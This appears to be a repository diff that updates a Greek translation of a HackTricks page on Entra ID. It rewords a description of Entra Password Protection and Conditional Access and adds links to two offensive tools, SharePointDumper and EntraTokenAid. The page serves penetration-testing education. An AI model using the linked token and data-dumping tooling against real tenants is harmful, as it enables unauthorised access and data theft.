> Σήμερα συνιστάται να προστίθενται αυτούς τους περιορισμούς μέσω πολιτικών Conditional Access όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών.
|
||||
> Σήμερα συνιστάται να προστεθούν αυτοί οι περιορισμοί μέσω Conditional Access policies όπου είναι δυνατή η διαμόρφωση των ίδιων επιλογών.
|
||||
|
||||
### Προστασία Κωδικών Entra
|
||||
### Entra Password Protection
|
||||
|
||||
Η Προστασία Κωδικών Entra ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφαλείας που **βοηθά στην αποτροπή της κακής χρήσης αδύναμων κωδικών κλειδιών κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλές αποτυχημένες προσπάθειες σύνδεσης**.\
|
||||
Επιτρέπει επίσης να **απαγορεύσετε μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε.
|
||||
Το Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι μια λειτουργία ασφάλειας που **βοηθά στην αποτροπή κατάχρησης αδύναμων κωδικών, κλειδώνοντας λογαριασμούς όταν συμβαίνουν πολλαπλές αποτυχημένες προσπάθειες σύνδεσης**.\
|
||||
Επιτρέπει επίσης να **αποκλειστεί μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε.
|
||||
|
||||
Μπορεί να **εφαρμοστεί τόσο** σε επίπεδο cloud όσο και σε τοπικό Active Directory.
|
||||
Μπορεί να εφαρμοστεί **είτε** σε επίπεδο cloud είτε στο on-premises Active Directory.
|
||||
|
||||
Η προεπιλεγμένη λειτουργία είναι **Audit**:
|
||||
|
||||
@@ -1141,5 +1216,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
## Αναφορές
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user